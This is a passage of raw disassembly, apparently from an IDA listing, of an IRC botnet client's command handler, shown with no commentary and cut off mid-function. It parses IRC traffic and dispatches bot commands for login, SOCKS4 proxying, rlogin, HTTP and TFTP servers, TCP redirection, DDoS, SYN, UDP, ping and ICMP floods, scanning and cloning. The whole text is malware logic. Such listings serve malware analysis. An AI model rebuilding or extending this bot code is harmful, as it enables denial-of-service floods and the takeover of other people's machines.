loc_408C92: ; CODE XREF: sub_4089DC+29Aj ; sub_4089DC+2A8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_408C97: ; CODE XREF: sub_4089DC+2B4j test eax, eax jnz short loc_408CA2 mov [ebp+var_18], 1 loc_408CA2: ; CODE XREF: sub_4089DC+2BDj add edi, 80h dec edx jnz short loc_408C68 mov edi, [ebp+var_A4] push 5 mov esi, offset aKick ; "KICK" pop ecx xor eax, eax repe cmpsb jnz loc_408DB8 mov edi, [ebp+arg_18] push 2 pop ebx loc_408CC9: ; CODE XREF: sub_4089DC+393j cmp byte ptr [edi], 0 jz loc_408D68 push 7Fh lea eax, [ebp+var_960] push edi push eax call sub_4144A0 add esp, 0Ch cmp [ebp+var_9C], 0 jz short loc_408D68 mov esi, [ebp+var_9C] lea eax, [ebp+var_F0] loc_408CF9: ; CODE XREF: sub_4089DC+339j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_408D1B test cl, cl jz short loc_408D17 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_408D1B inc eax inc eax inc esi inc esi test cl, cl jnz short loc_408CF9 loc_408D17: ; CODE XREF: sub_4089DC+327j xor eax, eax jmp short loc_408D20 ; --------------------------------------------------------------------------- loc_408D1B: ; CODE XREF: sub_4089DC+323j ; sub_4089DC+331j sbb eax, eax sbb eax, 0FFFFFFFFh loc_408D20: ; CODE XREF: sub_4089DC+33Dj test eax, eax jnz short loc_408D68 and [edi], al lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_414415 lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_405674 lea eax, [ebp+var_2F0] push eax call sub_401EFF add esp, 20h loc_408D68: ; CODE XREF: sub_4089DC+2F0j ; sub_4089DC+30Fj ... add edi, 80h dec ebx jnz loc_408CC9 mov esi, [ebp+var_9C] mov eax, [ebp+arg_10] loc_408D7E: ; CODE XREF: sub_4089DC+3BEj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_408DA0 test cl, cl jz short loc_408D9C mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_408DA0 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_408D7E loc_408D9C: ; CODE XREF: sub_4089DC+3ACj xor eax, eax jmp short loc_408DA5 ; --------------------------------------------------------------------------- loc_408DA0: ; CODE XREF: sub_4089DC+3A8j ; sub_4089DC+3B6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_408DA5: ; CODE XREF: sub_4089DC+3C2j test eax, eax jnz loc_408C5A mov eax, [ebp+arg_20] and dword ptr [eax], 0 jmp loc_408BA8 ; --------------------------------------------------------------------------- loc_408DB8: ; CODE XREF: sub_4089DC+2E1j mov edi, [ebp+var_A4] push 5 mov esi, offset aNick ; "NICK" pop ecx xor eax, eax repe cmpsb jnz loc_408F98 mov eax, [ebp+var_A0] or [ebp+var_18], 0FFFFFFFFh mov ebx, [ebp+arg_18] inc eax sub [ebp+var_18], eax mov [ebp+arg_0], eax mov [ebp+var_20], 2 loc_408DEB: ; CODE XREF: sub_4089DC+4A0j lea eax, [ebp+var_960] mov esi, ebx loc_408DF3: ; CODE XREF: sub_4089DC+433j mov dl, [esi] mov cl, dl cmp dl, [eax] jnz short loc_408E15 test cl, cl jz short loc_408E11 mov dl, [esi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_408E15 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_408DF3 loc_408E11: ; CODE XREF: sub_4089DC+421j xor eax, eax jmp short loc_408E1A ; --------------------------------------------------------------------------- loc_408E15: ; CODE XREF: sub_4089DC+41Dj ; sub_4089DC+42Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_408E1A: ; CODE XREF: sub_4089DC+437j test eax, eax jnz short loc_408E73 lea eax, [ebp+var_960] push 21h push eax call sub_4158C0 mov edi, eax test edi, edi pop ecx pop ecx jz short loc_408E73 mov eax, [ebp+var_18] mov edx, [ebp+arg_0] lea ecx, [ebx+2] mov byte ptr [ebx], 3Ah lea esi, [eax+ecx] loc_408E43: ; CODE XREF: sub_4089DC+46Fj mov al, [edx] mov [esi+edx], al inc edx test al, al jnz short loc_408E43 mov eax, edi mov esi, edi loc_408E51: ; CODE XREF: sub_4089DC+47Aj mov dl, [eax] inc eax test dl, dl jnz short loc_408E51 sub eax, esi dec ecx loc_408E5B: ; CODE XREF: sub_4089DC+485j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_408E5B mov edi, ecx mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_408E73: ; CODE XREF: sub_4089DC+440j ; sub_4089DC+456j add ebx, 80h dec [ebp+var_20] jnz loc_408DEB cmp [ebp+arg_0], 0 jz loc_408C5A mov esi, [ebp+arg_10] lea eax, [ebp+var_F0] loc_408E95: ; CODE XREF: sub_4089DC+4D5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_408EB7 test cl, cl jz short loc_408EB3 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_408EB7 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_408E95 loc_408EB3: ; CODE XREF: sub_4089DC+4C3j xor eax, eax jmp short loc_408EBC ; --------------------------------------------------------------------------- loc_408EB7: ; CODE XREF: sub_4089DC+4BFj ; sub_4089DC+4CDj sbb eax, eax sbb eax, 0FFFFFFFFh loc_408EBC: ; CODE XREF: sub_4089DC+4D9j test eax, eax jnz short loc_408ED5 push 0Fh push [ebp+arg_0] push [ebp+arg_10] loc_408EC8: ; CODE XREF: sub_4089DC+242j call sub_4144A0 add esp, 0Ch jmp loc_408C5A ; --------------------------------------------------------------------------- loc_408ED5: ; CODE XREF: sub_4089DC+4E2j mov edx, [ebp+arg_18] xor edi, edi loc_408EDA: ; CODE XREF: sub_4089DC+540j cmp byte ptr [edx], 0 jz short loc_408F12 lea eax, [ebp+var_960] mov esi, edx loc_408EE7: ; CODE XREF: sub_4089DC+527j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_408F09 test cl, cl jz short loc_408F05 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_408F09 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_408EE7 loc_408F05: ; CODE XREF: sub_4089DC+515j xor eax, eax jmp short loc_408F0E ; --------------------------------------------------------------------------- loc_408F09: ; CODE XREF: sub_4089DC+511j ; sub_4089DC+51Fj sbb eax, eax sbb eax, 0FFFFFFFFh loc_408F0E: ; CODE XREF: sub_4089DC+52Bj test eax, eax jz short loc_408F23 loc_408F12: ; CODE XREF: sub_4089DC+501j inc edi add edx, 80h cmp edi, 2 jl short loc_408EDA jmp loc_408C5A ; --------------------------------------------------------------------------- loc_408F23: ; CODE XREF: sub_4089DC+534j lea eax, [ebp+var_960] push 21h push eax call sub_4158C0 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_408C5A mov ecx, [ebp+arg_0] lea edx, [ecx+1] loc_408F43: ; CODE XREF: sub_4089DC+56Cj mov al, [ecx] inc ecx test al, al jnz short loc_408F43 sub ecx, edx mov edx, ebx lea esi, [edx+1] loc_408F51: ; CODE XREF: sub_4089DC+57Aj mov al, [edx] inc edx test al, al jnz short loc_408F51 sub edx, esi add edx, ecx cmp edx, 7Eh ja loc_408C5A push ebx push [ebp+arg_0] shl edi, 7 add edi, [ebp+arg_18] push offset aSS_3 ; ":%s%s" push edi call sub_414415 push 0 push 0 lea eax, [ebp+var_420] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4056BF add esp, 24h jmp loc_408C5A ; --------------------------------------------------------------------------- loc_408F98: ; CODE XREF: sub_4089DC+3EEj mov edi, [ebp+var_A4] mov ebx, offset aPart ; "PART" push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_408FC2 mov edi, [ebp+var_A4] push 5 mov esi, offset aQuit ; "QUIT" pop ecx xor eax, eax repe cmpsb jnz short loc_409012 loc_408FC2: ; CODE XREF: sub_4089DC+5D0j mov esi, [ebp+arg_18] xor eax, eax mov [ebp+var_10], esi loc_408FCA: ; CODE XREF: sub_4089DC+634j cmp byte ptr [esi], 0 jz short loc_409000 mov edi, [ebp+var_A8] loc_408FD5: ; CODE XREF: sub_4089DC+615j mov dl, [esi] mov cl, dl cmp dl, [edi] jnz short loc_408FF7 test cl, cl jz short loc_408FF3 mov dl, [esi+1] mov cl, dl cmp dl, [edi+1] jnz short loc_408FF7 inc esi inc esi inc edi inc edi test cl, cl jnz short loc_408FD5 loc_408FF3: ; CODE XREF: sub_4089DC+603j xor ecx, ecx jmp short loc_408FFC ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_4089DC+5FFj ; sub_4089DC+60Dj sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_408FFC: ; CODE XREF: sub_4089DC+619j test ecx, ecx jz short loc_409055 loc_409000: ; CODE XREF: sub_4089DC+5F1j mov esi, [ebp+var_10] inc eax add esi, 80h cmp eax, 2 mov [ebp+var_10], esi jl short loc_408FCA loc_409012: ; CODE XREF: sub_4089DC+5E4j mov edi, [ebp+var_A4] push 4 mov esi, offset a353 ; "353" pop ecx xor eax, eax repe cmpsb jnz loc_4090D6 mov esi, [ebp+var_98] mov eax, [ebp+arg_8] loc_409033: ; CODE XREF: sub_4089DC+673j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_4090B4 test cl, cl jz short loc_409051 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_4090B4 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_409033 loc_409051: ; CODE XREF: sub_4089DC+661j xor eax, eax jmp short loc_4090B9 ; --------------------------------------------------------------------------- loc_409055: ; CODE XREF: sub_4089DC+622j mov ecx, [ebp+arg_18] shl eax, 7 and byte ptr [eax+ecx], 0 lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out." push eax call sub_414415 lea eax, [ebp+var_2F0] push eax call sub_401EFF mov edi, [ebp+var_A4] add esp, 10h push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jnz loc_408C5A lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_A8] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_408BB3 ; --------------------------------------------------------------------------- loc_4090B4: ; CODE XREF: sub_4089DC+65Dj ; sub_4089DC+66Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4090B9: ; CODE XREF: sub_4089DC+677j test eax, eax jnz short loc_4090C6 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_4090C6: ; CODE XREF: sub_4089DC+6DFj push [ebp+var_98] push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s." jmp loc_40E667 ; --------------------------------------------------------------------------- loc_4090D6: ; CODE XREF: sub_4089DC+648j mov edi, [ebp+var_A4] mov eax, offset aPrivmsg ; "PRIVMSG" push 8 xor edx, edx mov esi, eax pop ecx repe cmpsb mov edx, offset aNotice ; "NOTICE" jz short loc_409126 mov edi, [ebp+var_A4] push 7 mov esi, edx pop ecx xor ebx, ebx repe cmpsb jz short loc_409126 mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor ebx, ebx repe cmpsb jnz loc_40E4AE cmp dword_42BEC8, ebx jz loc_40E4AE loc_409126: ; CODE XREF: sub_4089DC+713j ; sub_4089DC+724j mov edi, [ebp+var_A4] mov ebx, [ebp+var_20] mov esi, eax push 8 pop ecx xor eax, eax repe cmpsb jz loc_409228 mov edi, [ebp+var_A4] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jz loc_409228 mov eax, [ebp+var_9C] inc [ebp+var_98] mov [ebp+var_20], 4 mov [ebp+var_A0], eax loc_40916C: ; CODE XREF: sub_4089DC+90Aj ; sub_4089DC+949j ... mov ebx, [ebp+var_20] shl ebx, 2 lea eax, [ebp+ebx+var_A8] mov ecx, [eax] lea edx, [ecx+1] mov [eax], edx mov al, byte_42BED0 cmp [ecx], al mov [ebp+var_28], edx jnz loc_408C5A push 6 mov edi, edx mov esi, offset aLogin ; "login" pop ecx xor eax, eax repe cmpsb jz loc_40E4B6 push 2 mov edi, edx mov esi, offset dword_427934 pop ecx xor eax, eax repe cmpsb jz loc_40E4B6 cmp [ebp+var_18], eax jnz short loc_4091D5 mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor eax, eax repe cmpsb jnz loc_40E4AE loc_4091D5: ; CODE XREF: sub_4089DC+7DFj xor eax, eax cmp [ebp+arg_28], eax jnz loc_40E4AE cmp dword_42C308, eax mov [ebp+var_10], eax jle loc_4094E7 mov [ebp+var_18], offset dword_47B398 loc_4091F6: ; CODE XREF: sub_4089DC+994j mov edi, [ebp+var_18] mov esi, edx loc_4091FB: ; CODE XREF: sub_4089DC+843j mov cl, [edi] mov al, cl cmp cl, [esi] jnz loc_409354 test al, al jz short loc_409221 mov cl, [edi+1] mov al, cl cmp cl, [esi+1] jnz loc_409354 inc edi inc edi inc esi inc esi test al, al jnz short loc_4091FB loc_409221: ; CODE XREF: sub_4089DC+82Dj xor eax, eax jmp loc_409359 ; --------------------------------------------------------------------------- loc_409228: ; CODE XREF: sub_4089DC+75Cj ; sub_4089DC+771j mov edi, [ebp+var_A4] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jnz short loc_409240 mov [ebp+var_4], 1 loc_409240: ; CODE XREF: sub_4089DC+85Bj cmp [ebp+var_A0], 0 jz loc_408C5A push offset dword_427930 push [ebp+var_A0] call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_409269 cmp [ebp+var_4], 0 jz short loc_409275 loc_409269: ; CODE XREF: sub_4089DC+885j lea eax, [ebp+var_F0] mov [ebp+var_A0], eax loc_409275: ; CODE XREF: sub_4089DC+88Bj cmp [ebp+var_9C], 0 jz loc_408C5A inc [ebp+var_9C] jz short loc_4092C4 cmp [ebp+arg_10], 0 jz short loc_4092C4 lea eax, [ebp+var_3BC] lea edx, [eax+1] loc_409299: ; CODE XREF: sub_4089DC+8C2j mov cl, [eax] inc eax test cl, cl jnz short loc_409299 sub eax, edx push eax push [ebp+var_9C] lea eax, [ebp+var_3BC] push eax call sub_415D10 add esp, 0Ch mov ebx, eax neg ebx sbb ebx, ebx add ebx, 4 mov [ebp+var_20], ebx loc_4092C4: ; CODE XREF: sub_4089DC+8ACj ; sub_4089DC+8B2j mov eax, ebx shl eax, 2 mov edx, [ebp+eax+var_A8] test edx, edx jz loc_408C5A push 0Ah mov edi, edx mov esi, offset dword_427924 pop ecx xor ebx, ebx repe cmpsb jnz loc_40916C mov esi, [ebp+var_A0] mov bl, [esi] cmp bl, 23h jz short loc_409317 mov ecx, dword_47BF28 mov ecx, off_42BFBC[ecx*4] cmp byte ptr [ecx], 0 jz short loc_409317 push ecx push esi push offset dword_427908 jmp loc_408BB3 ; --------------------------------------------------------------------------- loc_409317: ; CODE XREF: sub_4089DC+91Bj ; sub_4089DC+92Dj mov edi, edx push 6 mov esi, offset dword_427900 pop ecx xor edx, edx repe cmpsb jnz loc_40916C mov eax, [ebp+eax+var_A4] test eax, eax jz loc_40916C cmp bl, 23h jz loc_40916C push eax push [ebp+var_A0] push offset dword_4278E8 jmp loc_408BB3 ; --------------------------------------------------------------------------- loc_409354: ; CODE XREF: sub_4089DC+825j ; sub_4089DC+837j sbb eax, eax sbb eax, 0FFFFFFFFh loc_409359: ; CODE XREF: sub_4089DC+847j test eax, eax jz short loc_40937B inc [ebp+var_10] mov eax, [ebp+var_10] add [ebp+var_18], 0B8h cmp eax, dword_42C308 jl loc_4091F6 jmp loc_4094E7 ; --------------------------------------------------------------------------- loc_40937B: ; CODE XREF: sub_4089DC+97Fj push offset asc_425A50 ; " :" push [ebp+arg_0] call sub_414EE0 test eax, eax pop ecx pop ecx jz loc_408C5A mov esi, [ebp+var_10] mov cl, byte_42BED0 imul esi, 0B8h mov [eax+2], cl mov cl, byte_42BED0 mov [eax+3], cl push 9Fh lea ecx, dword_47B3B0[esi] push ecx add eax, 4 push eax call sub_4144A0 lea eax, dword_47B398[esi] lea edi, [ebp+ebx+var_68] add esp, 0Ch mov [ebp+var_10], 0Fh mov [ebp+var_18], eax mov esi, edi loc_4093DB: ; CODE XREF: sub_4089DC+AA3j push [ebp+var_10] lea eax, [ebp+var_C8] push offset aD_1 ; "$%d-" push eax call sub_414415 lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_414EE0 add esp, 14h test eax, eax jz short loc_409444 cmp dword ptr [esi], 0 jz short loc_409449 mov eax, [ebp+var_18] lea edx, [eax+1] loc_409410: ; CODE XREF: sub_4089DC+A39j mov cl, [eax] inc eax test cl, cl jnz short loc_409410 sub eax, edx add [ebp+var_14], eax jz short loc_409475 push dword ptr [esi-4] push [ebp+var_14] call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_409475 push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_406650 add esp, 0Ch jmp short loc_409475 ; --------------------------------------------------------------------------- loc_409444: ; CODE XREF: sub_4089DC+A27j cmp dword ptr [esi], 0 jnz short loc_409475 loc_409449: ; CODE XREF: sub_4089DC+A2Cj push 2 lea eax, [ebp+var_C8] push eax lea eax, [ebp+var_24] push eax call sub_4144A0 and [ebp+var_22], 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_406650 add esp, 18h loc_409475: ; CODE XREF: sub_4089DC+A40j ; sub_4089DC+A51j ... dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg loc_4093DB mov [ebp+var_10], 10h mov esi, edi loc_40948E: ; CODE XREF: sub_4089DC+AFFj push [ebp+var_10] lea eax, [ebp+var_C8] push offset aD_0 ; "$%d" push eax call sub_414415 lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_414EE0 add esp, 14h test eax, eax jz short loc_4094D1 mov eax, [esi] test eax, eax jz short loc_4094D1 push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_406650 add esp, 0Ch loc_4094D1: ; CODE XREF: sub_4089DC+ADAj ; sub_4089DC+AE0j dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg short loc_40948E mov edx, [ebp+var_28] mov [ebp+var_8], 1 loc_4094E7: ; CODE XREF: sub_4089DC+80Dj ; sub_4089DC+99Aj mov al, byte_42BED0 cmp [edx], al jz short loc_4094FA cmp [ebp+var_8], 0 jz loc_4096D0 loc_4094FA: ; CODE XREF: sub_4089DC+B12j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_406650 lea eax, [ebp+var_F0] push eax push offset aUser_2 ; "$user" push edi call sub_406650 push [ebp+var_A0] push offset aChan ; "$chan" push edi call sub_406650 push 0 push 0 lea eax, [ebp+var_C8] push 2 push eax call sub_40FC7C push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_406650 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_406650 mov esi, offset aChr ; "$chr(" push esi push edi call sub_414EE0 add esp, 14h jmp loc_409654 ; --------------------------------------------------------------------------- loc_409571: ; CODE XREF: sub_4089DC+C7Aj push esi push [ebp+arg_0] call sub_414EE0 mov [ebp+var_28], eax add eax, 5 push 4 push eax lea eax, [ebp+var_C8] push eax call sub_4144A0 lea eax, [ebp+var_C8] push offset asc_4278A8 ; ")" push eax call sub_415289 add esp, 1Ch cmp [ebp+var_C8], 30h jl short loc_4095B5 cmp [ebp+var_C8], 39h jle short loc_4095CB loc_4095B5: ; CODE XREF: sub_4089DC+BCEj push 3 lea eax, [ebp+var_C8] push offset a63 ; "63" push eax call sub_4144A0 add esp, 0Ch loc_4095CB: ; CODE XREF: sub_4089DC+BD7j lea eax, [ebp+var_C8] push eax call sub_4147A2 test eax, eax pop ecx jle short loc_4095EE lea eax, [ebp+var_C8] push eax call sub_4147A2 pop ecx mov [ebp+var_24], al jmp short loc_4095FF ; --------------------------------------------------------------------------- loc_4095EE: ; CODE XREF: sub_4089DC+BFEj call sub_4145D1 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_24], dl loc_4095FF: ; CODE XREF: sub_4089DC+C10j and [ebp+var_23], 0 lea eax, [ebp+var_C8] lea edx, [eax+1] loc_40960C: ; CODE XREF: sub_4089DC+C35j mov cl, [eax] inc eax test cl, cl jnz short loc_40960C sub eax, edx mov ecx, eax xor eax, eax lea edi, [ebp+var_C8] stosd stosd add ecx, 6 push ecx push [ebp+var_28] stosd lea eax, [ebp+var_C8] push eax call sub_4144A0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_406650 push esi push [ebp+arg_0] call sub_414EE0 add esp, 20h loc_409654: ; CODE XREF: sub_4089DC+B90j test eax, eax jnz loc_409571 mov esi, 1FFh push esi push [ebp+arg_0] lea eax, [ebp+var_1F70] push eax call sub_4144A0 push esi lea eax, [ebp+var_1F70] push eax lea eax, [ebp+var_2270] push eax call sub_4144A0 mov esi, offset asc_420AE8 ; " " lea eax, [ebp+var_2270] push esi push eax call sub_415289 xor edi, edi add esp, 20h mov [ebp+var_A8], eax inc edi loc_4096A3: ; CODE XREF: sub_4089DC+CDCj push esi push 0 call sub_415289 mov [ebp+edi*4+var_A8], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_4096A3 lea eax, [ebp+ebx+var_A8] mov ecx, [eax] test ecx, ecx jz loc_408C5A add ecx, 3 mov [eax], ecx loc_4096D0: ; CODE XREF: sub_4089DC+B18j mov eax, [ebp+ebx+var_A8] push 8 mov edi, eax mov esi, offset aRndnick ; "rndnick" pop ecx xor edx, edx repe cmpsb mov [ebp+var_18], eax jz loc_40E461 push 3 mov edi, eax mov esi, offset aRn ; "rn" pop ecx xor edx, edx repe cmpsb jz loc_40E461 push 4 mov edi, eax mov esi, offset aDie ; "die" pop ecx xor edx, edx repe cmpsb jz loc_40D9CA push 2 mov edi, eax mov esi, offset aD ; "d" pop ecx xor edx, edx repe cmpsb jz loc_40D9CA push 7 mov edi, eax mov esi, offset aLogout ; "logout" pop ecx xor edx, edx repe cmpsb jz loc_40D8DC push 3 mov edi, eax mov esi, offset aLo ; "lo" pop ecx xor edx, edx repe cmpsb jz loc_40D8DC push 8 mov edi, eax mov esi, offset aVersion ; "version" pop ecx xor edx, edx repe cmpsb jz loc_40D8BE push 4 mov edi, eax mov esi, offset aVer ; "ver" pop ecx xor edx, edx repe cmpsb jz loc_40D8BE push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz loc_40D7BF push 4 mov edi, eax mov esi, offset aSec ; "sec" pop ecx xor edx, edx repe cmpsb jz loc_40D7BF push 9 mov edi, eax mov esi, offset aUnsecure ; "unsecure" pop ecx xor edx, edx repe cmpsb jz loc_40D7BF push 6 mov edi, eax mov esi, offset aUnsec ; "unsec" pop ecx xor edx, edx repe cmpsb jz loc_40D7BF push 7 mov edi, eax mov esi, offset aSocks4 ; "socks4" pop ecx xor edx, edx repe cmpsb jz loc_40D69A push 3 mov edi, eax mov esi, offset aS4 ; "s4" pop ecx xor edx, edx repe cmpsb jz loc_40D69A push 0Bh mov edi, eax mov esi, offset aSocks4stop ; "socks4stop" pop ecx xor edx, edx repe cmpsb jnz short loc_40981A push [ebp+ebx+var_A4] push 12h push offset aServer_0 ; "Server" push offset aSocks4_0 ; "[SOCKS4]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40981A: ; CODE XREF: sub_4089DC+E24j push 0Bh mov edi, eax mov esi, offset aRloginstop ; "rloginstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409842 push [ebp+ebx+var_A4] push 7 push offset aServer_0 ; "Server" push offset aRlogind ; "[RLOGIND]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409842: ; CODE XREF: sub_4089DC+E4Cj push 9 mov edi, eax mov esi, offset aHttpstop ; "httpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40986A push [ebp+ebx+var_A4] push 4 push offset aServer_0 ; "Server" push offset aHttpd ; "[HTTPD]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40986A: ; CODE XREF: sub_4089DC+E74j push 8 mov edi, eax mov esi, offset aLogstop ; "logstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409892 push [ebp+ebx+var_A4] push 1Dh push offset aLogList ; "Log list" push offset aLog ; "[LOG]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409892: ; CODE XREF: sub_4089DC+E9Cj push 0Dh mov edi, eax mov esi, offset aRedirectstop ; "redirectstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4098BA push [ebp+ebx+var_A4] push 11h push offset aTcpRedirect ; "TCP redirect" push offset aRedirect_0 ; "[REDIRECT]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_4098BA: ; CODE XREF: sub_4089DC+EC4j push 0Ah mov edi, eax mov esi, offset aDdos_stop ; "ddos.stop" pop ecx xor edx, edx repe cmpsb jnz short loc_4098E2 push [ebp+ebx+var_A4] push 0Bh push offset aDdosFlood ; "DDoS flood" push offset aDdos ; "[DDoS]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_4098E2: ; CODE XREF: sub_4089DC+EECj push 8 mov edi, eax mov esi, offset aSynstop ; "synstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40990A push [ebp+ebx+var_A4] push 0Ch push offset aSynFlood ; "Syn flood" push offset aSyn_0 ; "[SYN]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40990A: ; CODE XREF: sub_4089DC+F14j push 8 mov edi, eax mov esi, offset aUdpstop ; "udpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409932 push [ebp+ebx+var_A4] push 10h push offset aUdpFlood ; "UDP flood" push offset aUpd ; "[UPD]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409932: ; CODE XREF: sub_4089DC+F3Cj push 9 mov edi, eax mov esi, offset aPingstop ; "pingstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40995A push [ebp+ebx+var_A4] push 0Fh push offset aPingFlood ; "Ping flood" push offset aPing_1 ; "[PING]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40995A: ; CODE XREF: sub_4089DC+F64j push 9 mov edi, eax mov esi, offset aIcmpstop ; "icmpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409982 push [ebp+ebx+var_A4] push 0Eh push offset aIcmpFlood ; "ICMP flood" push offset aIcmp_0 ; "[ICMP]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409982: ; CODE XREF: sub_4089DC+F8Cj push 9 mov edi, eax mov esi, offset aTftpstop ; "tftpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_4099AA push [ebp+ebx+var_A4] push 5 push offset aServer_0 ; "Server" push offset aTftp_0 ; "[TFTP]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_4099AA: ; CODE XREF: sub_4089DC+FB4j push 0Dh mov edi, eax mov esi, offset aFindfilestop ; "findfilestop" pop ecx xor edx, edx repe cmpsb jz loc_40D66B push 7 mov edi, eax mov esi, offset aFfstop ; "ffstop" pop ecx xor edx, edx repe cmpsb jz loc_40D66B push 0Ah mov edi, eax mov esi, offset aProcsstop ; "procsstop" pop ecx xor edx, edx repe cmpsb jz loc_40D656 push 7 mov edi, eax mov esi, offset aPsstop ; "psstop" pop ecx xor edx, edx repe cmpsb jz loc_40D656 push 0Ah mov edi, eax mov esi, offset aClonestop ; "clonestop" pop ecx xor edx, edx repe cmpsb jnz short loc_409A22 push [ebp+ebx+var_A4] push 18h push offset aClone ; "Clone" push offset aClones ; "[CLONES]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409A22: ; CODE XREF: sub_4089DC+102Cj push 0Bh mov edi, eax mov esi, offset aSecurestop ; "securestop" pop ecx xor edx, edx repe cmpsb jnz short loc_409A4A push [ebp+ebx+var_A4] push 1Ah push offset aSecure_0 ; "Secure" push offset aSecure_1 ; "[SECURE]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409A4A: ; CODE XREF: sub_4089DC+1054j push 9 mov edi, eax mov esi, offset aScanstop ; "scanstop" pop ecx xor edx, edx repe cmpsb jnz short loc_409A72 push [ebp+ebx+var_A4] push 9 push offset aScan_1 ; "Scan" push offset aScan_0 ; "[SCAN]" jmp loc_40D67E ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_4089DC+107Cj push 0Ah mov edi, eax mov esi, offset aScanstats ; "scanstats" pop ecx xor edx, edx repe cmpsb jz loc_40D63D push 6 mov edi, eax mov esi, offset aStats ; "stats" pop ecx xor edx, edx repe cmpsb jz loc_40D63D push 0Ah mov edi, eax mov esi, offset aReconnect ; "reconnect" pop ecx xor edx, edx repe cmpsb jz loc_40D61C push 2 mov edi, eax mov esi, offset aR ; "r" pop ecx xor edx, edx repe cmpsb jz loc_40D61C push 0Bh mov edi, eax mov esi, offset aDisconnect ; "disconnect" pop ecx xor edx, edx repe cmpsb jz loc_40D5FA push 3 mov edi, eax mov esi, offset aDc ; "dc" pop ecx xor edx, edx repe cmpsb jz loc_40D5FA push 5 mov edi, eax mov esi, offset aQuit_0 ; "quit" pop ecx xor edx, edx repe cmpsb jz loc_40D5B0 push 2 mov edi, eax mov esi, offset aQ ; "q" pop ecx xor edx, edx repe cmpsb jz loc_40D5B0 push 7 mov edi, eax mov esi, offset aStatus ; "status" pop ecx xor edx, edx repe cmpsb jz loc_40D571 push 2 mov edi, eax mov esi, offset aS_4 